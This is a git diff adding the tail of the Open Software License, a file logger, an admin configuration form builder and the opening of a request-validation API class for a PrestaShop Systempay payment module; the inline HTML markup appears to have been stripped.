to distribute or communicate copies of the Original Work and Derivative Works + to the public, with the proviso that copies of Original Work or Derivative Works that You distribute or communicate shall be licensed under this Open Software License; + + d) to perform the Original Work publicly; and + + e) to display the Original Work publicly. + +2) Grant of Patent License. Licensor grants You a worldwide, royalty-free, non-exclusive, +sublicensable license, under patent claims owned or controlled by the Licensor that are +embodied in the Original Work as furnished by the Licensor, for the duration of the patents, +to make, use, sell, offer for sale, have made, and import the Original Work and Derivative Works. + +3) Grant of Source Code License. The term "Source Code" means the preferred form +of the Original Work for making modifications to it and all available documentation +describing how to modify the Original Work. Licensor agrees to provide a machine-readable +copy of the Source Code of the Original Work along with each copy of the Original Work +that Licensor distributes. Licensor reserves the right to satisfy this obligation by +placing a machine-readable copy of the Source Code in an information repository reasonably +calculated to permit inexpensive and convenient access by You for as long as Licensor +continues to distribute the Original Work. + +4) Exclusions From License Grant. Neither the names of Licensor, nor the names of any +contributors to the Original Work, nor any of their trademarks or service marks, may +be used to endorse or promote products derived from this Original Work without express +prior permission of the Licensor. Except as expressly stated herein, nothing in this +License grants any license to Licensor's trademarks, copyrights, patents, trade secrets +or any other intellectual property. No patent license is granted to make, use, sell, +offer for sale, have made, or import embodiments of any patent claims other than the +licensed claims defined in Section 2. No license is granted to the trademarks of +Licensor even if such marks are included in the Original Work. Nothing in this License +shall be interpreted to prohibit Licensor from licensing under terms different from +this License any Original Work that Licensor otherwise would have a right to license. + +5) External Deployment. The term "External Deployment" means the use, distribution, +or communication of the Original Work or Derivative Works in any way such that the +Original Work or Derivative Works may be used by anyone other than You, whether +those works are distributed or communicated to those persons or made available as +an application intended for use over a network. As an express condition for the +grants of license hereunder, You must treat any External Deployment by You of the +Original Work or a Derivative Work as a distribution under section 1(c). + +6) Attribution Rights. You must retain, in the Source Code of any Derivative Works +that You create, all copyright, patent, or trademark notices from the Source Code +of the Original Work, as well as any notices of licensing and any descriptive text +identified therein as an "Attribution Notice." You must cause the Source Code for +any Derivative Works that You create to carry a prominent Attribution Notice +reasonably calculated to inform recipients that You have modified the Original Work. + +7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants that the +copyright in and to the Original Work and the patent rights granted herein by Licensor +are owned by the Licensor or are sublicensed to You under the terms of this License +with the permission of the contributor(s) of those copyrights and patent rights. +Except as expressly stated in the immediately preceding sentence, the Original Work +is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express +or implied, including, without limitation, the warranties of non-infringement, +merchantability or fitness for a particular purpose. THE ENTIRE RISK AS TO THE QUALITY +OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential +part of this License. No license to the Original Work is granted by this License except +under this disclaimer. + +8) Limitation of Liability. Under no circumstances and under no legal theory, whether +in tort (including negligence), contract, or otherwise, shall the Licensor be liable +to anyone for any indirect, special, incidental, or consequential damages of any +character arising as a result of this License or the use of the Original Work including, +without limitation, damages for loss of goodwill, work stoppage, computer failure or +malfunction, or any and all other commercial damages or losses. This limitation of +liability shall not apply to the extent applicable law prohibits such limitation. + +9) Acceptance and Termination. If, at any time, You expressly assented to this License, +that assent indicates your clear and irrevocable acceptance of this License and all of +its terms and conditions. If You distribute or communicate copies of the Original Work +or a Derivative Work, You must make a reasonable effort under the circumstances to +obtain the express assent of recipients to the terms of this License. This License +conditions your rights to undertake the activities listed in Section 1, including +your right to create Derivative Works based upon the Original Work, and doing so without +honoring these terms and conditions is prohibited by copyright law and international treaty. +Nothing in this License is intended to affect copyright exceptions and limitations +(including "fair use" or "fair dealing"). This License shall terminate immediately and +You may no longer exercise any of the rights granted to You by this License upon your +failure to honor the conditions in Section 1(c). + +10) Termination for Patent Action. This License shall terminate automatically and You +may no longer exercise any of the rights granted to You by this License as of the date +You commence an action, including a cross-claim or counterclaim, against Licensor or +any licensee alleging that the Original Work infringes a patent. This termination +provision shall not apply for an action alleging patent infringement by combinations +of the Original Work with other software or hardware. + +11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License +may be brought only in the courts of a jurisdiction wherein the Licensor resides or in +which Licensor conducts its primary business, and under the laws of that jurisdiction +excluding its conflict-of-law provisions. The application of the United Nations +Convention on Contracts for the International Sale of Goods is expressly excluded. +Any use of the Original Work outside the scope of this License or after its termination +shall be subject to the requirements and penalties of copyright or patent law in the +appropriate jurisdiction. This section shall survive the termination of this License. + +12) Attorneys' Fees. In any action to enforce the terms of this License or seeking +damages relating thereto, the prevailing party shall be entitled to recover its costs +and expenses, including, without limitation, reasonable attorneys' fees and costs +incurred in connection with such action, including any appeal of such action. This +section shall survive the termination of this License. + +13) Miscellaneous. If any provision of this License is held to be unenforceable, such +provision shall be reformed only to the extent necessary to make it enforceable. + +14) Definition of "You" in This License. "You" throughout this License, whether in upper +or lower case, means an individual or a legal entity exercising rights under, and +complying with all of the terms of, this License. For legal entities, "You" includes +any entity that controls, is controlled by, or is under common control with you. For +purposes of this definition, "control" means (i) the power, direct or indirect, to cause +the direction or management of such entity, whether by contract or otherwise, or (ii) +ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial +ownership of such entity. + +15) Right to Use. You may use the Original Work in all ways not otherwise restricted or +conditioned by this License or by law, and Licensor promises not to interfere with or be +responsible for such uses by You. + +16) Modification of This License. This License is Copyright © 2005 Lawrence Rosen. +Permission is granted to copy, distribute, or communicate this License without modification. +Nothing in this License permits You to modify this License as applied to the Original Work or +to Derivative Works. However, You may modify the text of this License and copy, distribute or +communicate your modified version (the "Modified License") and apply it to other original +works of authorship subject to the following conditions: (i) You may not indicate in any way +that your Modified License is the "Open Software License" or "OSL" and you may not use those +names in the name of your Modified License; (ii) You must replace the notice specified in +the first paragraph above with the notice "Licensed under " +or with a notice of your own that is not confusingly similar to the notice in this License; +and (iii) You may not claim that your original works are open source software unless your +Modified License has been approved by Open Source Initiative (OSI) and You comply with its +license review and certification process. \ No newline at end of file diff --git a/modules/systempay/classes/SystempayFileLogger.php b/modules/systempay/classes/SystempayFileLogger.php new file mode 100755 index 0000000..6d9375f --- /dev/null +++ b/modules/systempay/classes/SystempayFileLogger.php @@ -0,0 +1,47 @@ +logsEnabled = $logsEnabled; + parent::__construct($level); + } + + /** + * log message only if logs are enabled + * + * @param string message + * @param level + */ + public function log($message, $level = self::DEBUG) { + if(!$this->logsEnabled) { + return; + } + + parent::log($message, $level); + } +} \ No newline at end of file diff --git a/modules/systempay/classes/admin/SystempayAdminDisplay.php b/modules/systempay/classes/admin/SystempayAdminDisplay.php new file mode 100755 index 0000000..6c6fd3c --- /dev/null +++ b/modules/systempay/classes/admin/SystempayAdminDisplay.php @@ -0,0 +1,636 @@ +_module = $systempay; + + $this->_name = $this->_module->name; + $this->_displayName = $this->_module->displayName; + } + + /** + * Builds the html code for the admin form + */ + public function commonHtml() { + + // Form beginning + $_html = '
        Systempay' . $this->_displayName . '' + . $this->l('Developped by') + . ' : Lyra Network
        ' + . $this->l('Contact email') + . ' : supportvad@lyra-network.com
        ' + . $this->l('Module version') + . ' : 1.2f
        ' + . $this->l('Compatible with payment gateway') + . ' : V2
        ' + . $this->l('Tested with prestashop version'). + ' : 1.5 & 1.6
        ' + . '' + . $this->l('CLICK HERE TO VIEW THE MODULE CONFIGURATION DOCUMENTATION') . '' . + '
        '; + + return $_html; + } + + public function generalTabHtml() { + $api = new SystempayApi(); // new instance of SystempayApi to use static methods + + $_html = '
        ' . $this->l('BASE SETTINGS') . ''; + // enable / disbale logs + $options = array( + 'False' => $this->l('Disabled'), + 'True' => $this->l('Enabled') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_ENABLE_LOGS'), 'SYSTEMPAY_ENABLE_LOGS', $this->l('Logs'), $this->l('Enable / disbale module logs')); + + $_html .= '
         
        '; + + /* + * payment gateway access settings + */ + $_html .= '
        ' . $this->l('PAYMENT GATEWAY ACCESS') . ''; + + $_html .= $this->_adminFormText('SYSTEMPAY_SITE_ID', $this->l('Site id'), $this->l('Site id provided by the payment gateway')); + $_html .= $this->_adminFormText('SYSTEMPAY_KEY_TEST', $this->l('Test certificate'), $this->l('Certificate provided by the gateway')); + $_html .= $this->_adminFormText('SYSTEMPAY_KEY_PROD', $this->l('Production certificate'), $this->l('Certificate provided by the gateway')); + + // context mode + $options = array( + 'TEST' => $this->l('TEST'), + 'PRODUCTION' => $this->l('PRODUCTION') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_MODE'), 'SYSTEMPAY_MODE', $this->l('Mode'), $this->l('The context mode of this module')); + $_html .= $this->_adminFormText('SYSTEMPAY_PLATFORM_URL', $this->l('Gateway URL'), $this->l('URL the client will be redirected to'), 'size="65"'); + + // check URL display + $_html .= ''; + $_html .= '

        '; + if(!Shop::isFeatureActive() || Shop::getContext() == Shop::CONTEXT_SHOP) { + $_html .= Context::getContext()->shop->getBaseURL() . 'modules/' . $this->_name . '/validation.php'; + } else { + $_html .= $this->l('Select a shop to view check URL'); + } + $_html .= '

        '; + + $_html .= '
         
        '; + + /* + * payment page settings + */ + $_html .= '
        ' . $this->l('PAYMENT PAGE') . ''; + + // supported languages + $options = array(); + foreach ($api->getSupportedLanguages() as $key => $value) { + $options[$key] = $this->l($value); + } + asort($options); + + // default language + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_DEFAULT_LANGUAGE'), 'SYSTEMPAY_DEFAULT_LANGUAGE', $this->l('Default language'), $this->l('Default language on the payment page')); + + // available languages + $availLangs = Configuration::get('SYSTEMPAY_AVAILABLE_LANGUAGES'); + $selected = ($availLangs == '') ? array() : explode(';', $availLangs); + + $_html .= $this->_adminFormSelect($options, $selected, 'SYSTEMPAY_AVAILABLE_LANGUAGES[]', $this->l('Available languages'), $this->l('Select none to use gateway configuration.'), 'multiple="multiple" size="8"'); + + // capture delay + $_html .= $this->_adminFormText('SYSTEMPAY_DELAY', $this->l('Delay'), $this->l('Delay before banking (in days)')); + + // validation mode + $options = array( + '' => $this->l('Back-office configuration'), + '0' => $this->l('Automatic'), + '1' => $this->l('Manual') + ); + + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_VALIDATION_MODE'), 'SYSTEMPAY_VALIDATION_MODE', $this->l('Payment validation'), $this->l('If manual is selected, you will have to confirm payments manually in your bank back-office')); + + // payment cards + $paymentCards = Configuration::get('SYSTEMPAY_PAYMENT_CARDS'); + $selected = ($paymentCards == '') ? array() : explode(';', $paymentCards); + + $_html .= $this->_adminFormSelect($api->getSupportedCardTypes(), $selected, 'SYSTEMPAY_PAYMENT_CARDS[]', $this->l('Available payment cards'), $this->l('Select the card types that can be used for the payment.'), 'multiple="multiple" size="7"'); + + $_html .= '
         
        '; + + /* + * payment page customization settings + */ + $_html .= '
        ' . $this->l('PAYMENT PAGE CUSTOMIZE') . ''; + + // theme configuration + $_html .= $this->_adminFormText('SYSTEMPAY_THEME_CONFIG', $this->l('Theme configuration'), $this->l('The theme configuration to customize the payment page (logo, css).'), 'size="65"'); + + // shop name + $_html .= $this->_adminFormText('SYSTEMPAY_SHOP_NAME', $this->l('Shop name'), $this->l('Shop name to display on the payment page. Leave blank to use gateway config.')); + + // shop URL + $_html .= $this->_adminFormText('SYSTEMPAY_SHOP_URL', $this->l('Shop URL'), $this->l('Shop URL to display on the payment page. Leave blank to use gateway config.'), 'size="65"'); + + $_html .= '
         
        '; + + /* + * selective 3DS settings + */ + $_html .= '
        ' . $this->l('SELECTIVE 3DS') . ''; + + // min amount to activate three ds + $_html .= $this->_adminFormText('SYSTEMPAY_3DS_MIN_AMOUNT', $this->l('Minimum amount for which activate 3DS'), $this->l('Requires subscription to Selective 3-D Secure option.')); + + $_html .= '
         
        '; + + /* + * return to shop settings + */ + $_html .= '
        ' . $this->l('RETURN TO SHOP') . ''; + + // automatic redirection + $options = array( + 'False' => $this->l('Disabled'), + 'True' => $this->l('Enabled') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_REDIRECT_ENABLED'), 'SYSTEMPAY_REDIRECT_ENABLED', $this->l('Automatic redirection'), $this->l('Redirect the client to the shop at the end of the payment process')); + + // automatic redirection options + $_html .= $this->_adminFormText('SYSTEMPAY_REDIRECT_SUCCESS_T', $this->l('Success timeout'), $this->l('Time before the client is redirected after a successful payment')); + $_html .= $this->_adminFormText('SYSTEMPAY_REDIRECT_SUCCESS_M', $this->l('Success message'), $this->l('Message displayed before redirection after a successful payment'), 'size="65"'); + $_html .= $this->_adminFormText('SYSTEMPAY_REDIRECT_ERROR_T', $this->l('Failure timeout'), $this->l('Time before the client is redirected after a failed payment')); + $_html .= $this->_adminFormText('SYSTEMPAY_REDIRECT_ERROR_M', $this->l('Failure message'), $this->l('Message displayed before redirection after a failed payment'), 'size="65"'); + + // return mode + $options = array( + 'GET' => $this->l('GET (parameters in URL)'), + 'POST' => $this->l('POST (parameters in a form)') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_RETURN_MODE'), 'SYSTEMPAY_RETURN_MODE', $this->l('Return mode'), $this->l('How the client will transmit the payment result')); + + // payment failed management + $options = array( + Systempay::ON_FAILURE_RETRY => $this->l('Go back to checkout'), + Systempay::ON_FAILURE_SAVE => $this->l('Save order and go back to order history') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_FAILURE_MANAGEMENT'), 'SYSTEMPAY_FAILURE_MANAGEMENT', $this->l('Payment failed management'), $this->l('How to deal the client when the payment process failed')); + + // additional return parameters + $_html .= $this->_adminFormText('SYSTEMPAY_RETURN_GET_PARAMS', $this->l('Additional GET parameters'), $this->l('Extra parameters sent in the return URL'), 'size="65"'); + + $_html .= $this->_adminFormText('SYSTEMPAY_RETURN_POST_PARAMS', $this->l('Additional POST parameters'), $this->l('Extra parameters sent in the return form'), 'size="65"'); + + $_html .= '
        '; + + return $_html; + } + + public function singleTabHtml() { + /* + * standard payment mode specific settings + */ + $_html = '
        ' . $this->l('MODULE OPTIONS') . ''; + + // title + $_html .= $this->_adminFormTextLang('SYSTEMPAY_STD_TITLE', $this->l('Method title'), $this->l('Method title to display on payment means page.'), 'size="45"'); + + // enable/disable module + $options = array( + 'False' => $this->l('Disabled'), + 'True' => $this->l('Enabled') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_STD_ENABLED'), 'SYSTEMPAY_STD_ENABLED', $this->l('Activation'), $this->l('Select to activate standard payment')); + + $_html .= '
         
        '; + + /* + * disable payment mode for specific amounts + */ + $_html .= '
        ' . $this->l('AMOUNT RESTRICTIONS') . ''; + + $_html .= $this->_adminFormText('SYSTEMPAY_STD_AMOUNT_MIN', $this->l('Minimum amount'), $this->l('Minimum amount for which this payment method is available')); + $_html .= $this->_adminFormText('SYSTEMPAY_STD_AMOUNT_MAX', $this->l('Maximum amount'), $this->l('Maximum amount for which this payment method is available')); + + $_html .= '
         
        '; + + /* + * card data entry mode + */ + $_html .= '
        ' . $this->l('CARD DATA ENTRY') . ''; + + $options = array( + '1' => $this->l('Card data entry on payment gateway'), + '2' => $this->l('Card type selection on merchant site'), + '3' => $this->l('Card data entry on merchant site') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_STD_CARD_DATA_MODE'), 'SYSTEMPAY_STD_CARD_DATA_MODE', $this->l('Card data entry mode'), $this->l('Select how the credit card info will be entered.
        Attention, to use data acquisition on the merchant site, you must ensure that you have subscribed to this option with your bank.')); + + $_html .= '
        '; + + return $_html; + } + + public function multiTabHtml() { + /* + * multiple payment mode specific settings + */ + $_html = '
        ' . $this->l('MODULE OPTIONS') . ''; + + // title + $_html .= $this->_adminFormTextLang('SYSTEMPAY_MULTI_TITLE', $this->l('Method title'), $this->l('Method title to display on payment means page.'), 'size="45"'); + + // enable/disable module + $options = array( + 'False' => $this->l('Disabled'), + 'True' => $this->l('Enabled') + ); + $_html .= $this->_adminFormSelect($options, Configuration::get('SYSTEMPAY_MULTI_ENABLED'), 'SYSTEMPAY_MULTI_ENABLED', $this->l('Activation'), $this->l('Select to activate multiple payment')); + + $_html .= '
         
        '; + + /* + * disable payment mode for specific amounts + */ + $_html .= '
        ' . $this->l('AMOUNT RESTRICTIONS') . ''; + + $_html .= $this->_adminFormText('SYSTEMPAY_MULTI_AMOUNT_MIN', $this->l('Minimum amount'), $this->l('Minimum amount for which this payment method is available')); + $_html .= $this->_adminFormText('SYSTEMPAY_MULTI_AMOUNT_MAX', $this->l('Maximum amount'), $this->l('Maximum amount for which this payment method is available')); + + $_html .= '
         
        '; + + /* + * multiple payment options + */ + $multiOptions = Configuration::get('SYSTEMPAY_MULTI_OPTIONS'); + if(!empty($multiOptions)) { + $multiOptions = unserialize($multiOptions); + } else { + $multiOptions = array(); + } + + $_html .= '
        ' . $this->l('MULTIPLE PAYMENT OPTIONS') . ''; + + $_html .= "\n"; + $_html .= ''; + $_html .= '
        '; + $_html .= ''; + $_html .= ' + + + + + + + + + + + + + + '; + if(!empty($multiOptions)) { + foreach ($multiOptions as $key => $option) { + $_html .= ' + + + + + + + + + '; + } + } + + $_html .= ' + + + + + + '; + + $_html .= '

        ' . $this->l('Click on Add button to configure one or more payment options.') . '
        '; + $_html .= '' . $this->l('Label') . ' : ' . $this->l('The option label to display on the frontend.') . '
        '; + $_html .= '' . $this->l('Min amount') . ' : ' . $this->l('Minimum amount to enable the payment option.') . '
        '; + $_html .= '' . $this->l('Max amount') . ' : ' . $this->l('Maximum amount to enable the payment option.') . '
        '; + $_html .= '' . $this->l('Contract') . ' : ' . $this->l('ID of the contract to use with the option (Leave blank preferably).') . '
        '; + $_html .= '' . $this->l('Number') . ' : ' . $this->l('Total number of payments.') . '
        '; + $_html .= '' . $this->l('Period') . ' : ' . $this->l('Delay (in days) between payments.') . '
        '; + $_html .= '' . $this->l('1st payment') . ' : ' . $this->l('Amount of first payment, in percentage of total amount. If empty, all payments will have the same amount.') . '
        '; + $_html .= '' . $this->l('Do no forget to clik on "Save" button to save your modifications.') . '

        '; + $_html .= '
        '; + + $_html .= '
        '; + + return $_html; + } + + public function oneyTabHtml() { + $_html = '
        ' . $this->l('MODULE OPTIONS') . ''; + + $_html .= $this->_adminFormTextLang('SYSTEMPAY_ONEY_TITLE', $this->l('Method title'), + $this->l('Method title to display on payment means page.'), 'size="45"'); + + //activate Oney payment mode + $options = array( + 'False' => $this->l('Disabled'), + 'True' => $this->l('Enabled') + ); + + $selected = key_exists(Configuration::get('SYSTEMPAY_ONEY_ENABLED'), $options) ? Configuration::get('SYSTEMPAY_ONEY_ENABLED') : 'False'; + $_html .= $this->_adminFormSelect($options,$selected,'SYSTEMPAY_ONEY_ENABLED', + $this->l('Activation'), + $this->l('Select to activate FacilyPay Oney payment') . '
        ' . + '' . sprintf($this->l('Requires a FacilyPay Oney contract with Banque Accord and a subscription to %s option'), 'Systempay') . ''); + $_html .= '
         
        '; + + /* + * Deactivate for specific amounts + */ + $_html .= '
        ' . $this->l('AMOUNT RESTRICTIONS') . ''; + $_html .= $this->_adminFormText('SYSTEMPAY_ONEY_AMOUNT_MIN', $this->l('Minimum amount'), + $this->l('Minimum amount for which this payment method is available')); + $_html .= $this->_adminFormText('SYSTEMPAY_ONEY_AMOUNT_MAX', $this->l('Maximum amount'), + $this->l('Maximum amount for which this payment method is available')); + + $_html .= '
         
        '; + + /* + * Oney shipping settings + */ + $_html .= '
        ' . $this->l('FACILYPAY ONEY SHIPPING SETTINGS') . ''; + + $oneyOptions = @unserialize(Configuration::get('SYSTEMPAY_ONEY_SHIP_OPTIONS')); + if(!is_array($oneyOptions)) { + $oneyOptions = array(); + } + $carriers = Carrier::getCarriers((int)Configuration::get('PS_LANG_DEFAULT'), true, false, false, null, Carrier::ALL_CARRIERS); + + $_html .= ''; + $_html .= '
        '; + + $typeOptions = array( + 'PACKAGE_DELIVERY_COMPANY' => $this->l('Delivery company'), + 'RECLAIM_IN_SHOP' => $this->l('Reclaim in shop'), + 'RELAY_POINT' => $this->l('Relay point'), + 'RECLAIM_IN_STATION' => $this->l('Reclaim in station') + ); + + $speedOptions = array( + 'STANDARD' => $this->l('Standard'), + 'EXPRESS' => $this->l('Express') + ); + + $_html .= ' + + + + + + + '; + + $_html .= ''; + + if(!empty($carriers)) { + foreach ($carriers as $carrier) { + $carrierId = $carrier['id_carrier']; + + $selected = key_exists(@$oneyOptions[$carrierId]['delivery_speed'], $speedOptions) ? $oneyOptions[$carrierId]['delivery_speed'] : 'STANDARD'; + $selectSpeed = ''; + + $selected = key_exists(@$oneyOptions[$carrierId]['delivery_type'], $typeOptions) ? $oneyOptions[$carrierId]['delivery_type'] : 'PACKAGE_DELIVERY_COMPANY'; + $selectType = ''; + + $carrierNameRegexNotAllowed = "#[^A-Z0-9ÃÀÂÄÉÈÊËÃÌÎÃÓÒÔÖÚÙÛÜÇ /'-]#ui"; + $carrierLabel = isset($oneyOptions[$carrierId]['carrier_label']) ? + $oneyOptions[$carrierId]['carrier_label']: + preg_replace($carrierNameRegexNotAllowed, ' ' , $carrier['name']); + + $_html .= ' + + + + + + '; + } + } + + $_html .='
        '.$this->l('Name').''.$this->l('Label').''.$this->l('Type').''.$this->l('Speed').''.$this->l('Address').'
        ' . $carrier['name'] . '' . $selectType . '' . $selectSpeed . '
        '; + + $_html .= '

        ' . $this->l('Define the FacilyPay Oney information about all shipping methods.') . '
        '; + $_html .= '' . $this->l('Label') . ' : ' . $this->l('The label of the shipping method.') . '
        '; + $_html .= '' . $this->l('Type') . ' : ' . $this->l('The delivery type of shipping method.') . '
        '; + $_html .= '' . $this->l('Speed') . ' : ' . $this->l('Select whether the delivery is STANDARD or EXPRESS.') . '
        '; + $_html .= '' . $this->l('Address') . ' : ' . $this->l('Enter address if it is a reclaim in shop.') . '
        '; + $_html .= '' . $this->l('Do no forget to clik on "Save" button to save your modifications.') . '

        '; + $_html .= '
        '; + + $categoryOptions = array( + 'FOOD_AND_GROCERY' => $this->l('Food and grocery'), + 'AUTOMOTIVE' => $this->l('Automotive'), + 'ENTERTAINMENT' => $this->l('Entertainment'), + 'HOME_AND_GARDEN' => $this->l('Home and garden'), + 'HOME_APPLIANCE' => $this->l('Home appliance'), + 'AUCTION_AND_GROUP_BUYING' => $this->l('Auction and group buying'), + 'FLOWERS_AND_GIFTS' => $this->l('Flowers and gifts'), + 'COMPUTER_AND_SOFTWARE' => $this->l('Computer and software'), + 'HEALTH_AND_BEAUTY' => $this->l('Health and beauty'), + 'SERVICE_FOR_INDIVIDUAL' => $this->l('Service for individual'), + 'SERVICE_FOR_BUSINESS' => $this->l('Service for business'), + 'SPORTS' => $this->l('Sports'), + 'CLOTHING_AND_ACCESSORIES' => $this->l('Clothing and accessories'), + 'TRAVEL' => $this->l('Travel'), + 'HOME_AUDIO_PHOTO_VIDEO' => $this->l('Home audio,photo,video'), + 'TELEPHONY' => $this->l('Telephony') + ); + + $_html .= ''; + $_html .= '
        '; + + $checked = ''; + $disableTable = ""; + $disabled ='disabled="disabled"'; + $value = '0'; + if(@Configuration::get('SYSTEMPAY_ONEY_CAT_MODE') == '1' ) { + $value = '1' ; + $checked ='checked="checked"'; + $disabled =''; + $disableTable ='disabled="disabled"'; + } + $_html .='   '; + + $selected = key_exists(@Configuration::get('SYSTEMPAY_ONEY_COM_CAT'), + $categoryOptions) ? Configuration::get('SYSTEMPAY_ONEY_COM_CAT') : 'FOOD_AND_GROCERY'; + $selectCategory = ' '; + + $_html .= $selectCategory . '

        '; + + $_html .= ' + + + + '; + + $_html .= ''; + + $oneyCategories = @unserialize(Configuration::get('SYSTEMPAY_ONEY_PROD_CAT')); + if(!is_array($oneyCategories)) { + $oneyCategories = array(); + } + + $categoriesArray = Category::getCategories((int)Configuration::get('PS_LANG_DEFAULT'), true, true, '', '', ''); + + if(!empty($categoriesArray)) { + foreach ($categoriesArray as $categoryArray) { + foreach ($categoryArray as $categories) { + foreach ($categories as $category) { + if ($category['name'] != 'Root') { + $categoryId = $category['id_category']; + $selected = key_exists(@$oneyCategories[$categoryId], $categoryOptions) ? + $oneyCategories[$categoryId] : 'FOOD_AND_GROCERY'; + $selectCategory = ''; + + $_html .= ' + + + '; + } + } + } + } + } + $_html .='
        '.$this->l('Product category').''.$this->l('FacilyPay Oney product category').'
        ' . $category['name'] . '' . $selectCategory . '
        '; + + $_html .= '

        ' . $this->l('Select one category for all products or match each product category with an FacilyPay Oney category.').'

        '; + $_html .= '
        '; + + $_html .= '
        '; + return $_html; + } + + /** + * Shortcut function for creating a html select + * @param array[string]string $options + * @param mixed $selected a single string value or an array + * @param string $name + * @param string $label + * @param string $description + * @param string $extra_attributes + */ + private function _adminFormText($name, $label, $description = null, $extra_attributes = '', $default='') { + $value = Configuration::get($name) ? Configuration::get($name) : $default; + $_html = "\n"; + $_html .= ''; + $_html .= '
        '; + $_html .= ''; + $_html .= '

        ' . $description . '

        '; + $_html .= '
        '; + return $_html; + } + + private function _adminFormSelect($options, $selected, $name, $label, $description, $extra_attributes = null) { + $_html = "\n"; + $_html .= ''; + $_html .= '
        '; + $_html .= '

        ' . $description . '

        '; + return $_html; + } + + private function _adminFormTextLang($name, $label, $description = null, $extra_attributes = '', $default=array()) { + $_html = "\n"; + $_html .= ''; + $_html .= '
        '; + + $languages = Language::getLanguages(false); + foreach ($languages as $language) { + $langId = (int)$language['id_lang']; + $langCode = $language['iso_code']; + + $value = Configuration::get($name, $langId) ? + Configuration::get($name, $langId) : + (is_array($default) && isset($default[$langCode]) ? $default[$langCode] : ''); + + $_html .= '
        '; + $_html .= ''; + $_html .= '
        '; + } + $_html .= $this->_module->displayFlags($languages, Context::getContext()->language->id, $name, $name, true); + + $_html .= '

        ' . $description . '

        '; + $_html .= '
        '; + + return $_html; + } + + /** + * Shortcut for module translation function. + * + * @param string $text + * + * @return localized text + */ + private function l($string) { + return $this->_module->l($string, 'systempayadmindisplay', null); + } +} \ No newline at end of file diff --git a/modules/systempay/classes/systempay_api.php b/modules/systempay/classes/systempay_api.php new file mode 100755 index 0000000..5d23aa9 --- /dev/null +++ b/modules/systempay/classes/systempay_api.php @@ -0,0 +1,1706 @@ + + * @copyright www.lyra-network.com + * PHP classes to integrate an e-commerce solution with the payment platform supported by lyra-network. + */ + +if(!@class_exists('SystempayApi', false)) { + /** + * Class managing parameters checking, form and signature building, response analysis and more + * @version 2.2 + */ + class SystempayApi { + // ************************************** + // PROPERTIES + // ************************************** + /** + * The fields to send to the Systempay platform + * @var array[string]SystempayField + * @access private + */ + var $requestParameters; + /** + * Certificate to send in TEST mode + * @var string + * @access private + */ + var $keyTest; + /** + * Certificate to send in PRODUCTION mode + * @var string + * @access private + */ + var $keyProd; + /** + * Url of the payment page + * @var string + * @access private + */ + var $platformUrl; + /** + * Set to true to send the redirect_* parameters + * @var boolean + * @access private + */ + var $redirectEnabled; + /** + * SHA-1 authentication signature + * @var string + * @access private + */ + var $signature; + /** + * The original data encoding. + * @var string + * @access private + */ + var $encoding; + + /** + * The list of categories for payment with bank accord. To be sent with the products detail if you use this payment mean. + * @static + * @var array + * @access public + */ + var $ACCORD_CATEGORIES = array("FOOD_AND_GROCERY","AUTOMOTIVE","ENTERTAINMENT","HOME_AND_GARDEN","HOME_APPLIANCE","AUCTION_AND_GROUP_BUYING","FLOWERS_AND_GIFTS","COMPUTER_AND_SOFTWARE","HEALTH_AND_BEAUTY","SERVICE_FOR_INDIVIDUAL","SERVICE_FOR_BUSINESS","SPORTS","CLOTHING_AND_ACCESSORIES","TRAVEL","HOME_AUDIO_PHOTO_VIDEO","TELEPHONY"); + + /** + * The list of encodings supported by this API. + * @static + * @var array + * @access public + */ + var $SUPPORTED_ENCODINGS = array("UTF-8", "ASCII", "Windows-1252", "ISO-8859-15", "ISO-8859-1", "ISO-8859-6", "CP1256"); + + // ************************************** + // CONSTRUCTOR + // ************************************** + /** + * Constructor. + * Initialize request fields definitions. + */ + function SystempayApi($encoding="UTF-8") { + // Initialize encoding + $this->encoding = in_array(strtoupper($encoding), $this->SUPPORTED_ENCODINGS) ? strtoupper($encoding) : "UTF-8"; + + /* + * Définition des paramètres de la requête + */ + // Common or long regexes + $ans = "[^<>]"; // Any character (except the dreadful "<" and ">") + $an63 = '#^[A-Za-z0-9]{0,63}$#'; + $an255 = '#^[A-Za-z0-9]{0,255}$#'; + $ans255 = '#^' . $ans . '{0,255}$#'; + $ans127 = '#^' . $ans . '{0,127}$#'; + $supzero = '[1-9]\d*'; + $regex_payment_cfg = '#^(SINGLE|MULTI:first=\d+;count=' . $supzero + . ';period=' . $supzero . ')$#'; + $regex_trans_date = '#^\d{4}' . '(1[0-2]|0[1-9])' + . '(3[01]|[1-2]\d|0[1-9])' . '(2[0-3]|[0-1]\d)' . '([0-5]\d){2}$#';//AAAAMMJJhhmmss + $regex_mail = '#^[^@]+@[^@]+\.\w{2,4}$#'; //TODO plus restrictif + $regex_params = '#^([^&=]+=[^&=]*)?(&[^&=]+=[^&=]*)*$#'; //name1=value1&name2=value2... + + // Déclaration des paramètres, de leur valeurs par défaut, de leur format... + // $this->_addRequestField('raw_signature', 'DEBUG Signature', '#^.+$#', false); + $this->_addRequestField('signature', 'Signature', "#^[0-9a-f]{40}$#", true); + $this->_addRequestField('vads_action_mode', 'Action mode', + "#^INTERACTIVE|SILENT$#", true, 11); + $this->_addRequestField('vads_amount', 'Amount', '#^' . $supzero . '$#', + true); + $this->_addRequestField('vads_available_languages', 'Available languages', + "#^(|[A-Za-z]{2}(;[A-Za-z]{2})*)$#", false, 2); + $this->_addRequestField('vads_capture_delay', 'Capture delay', "#^\d*$#"); + $this->_addRequestField('vads_contracts', 'Contracts', $ans255); + $this->_addRequestField('vads_contrib', 'Contribution', $ans255); + $this->_addRequestField('vads_ctx_mode', 'Mode', "#^TEST|PRODUCTION$#", + true); 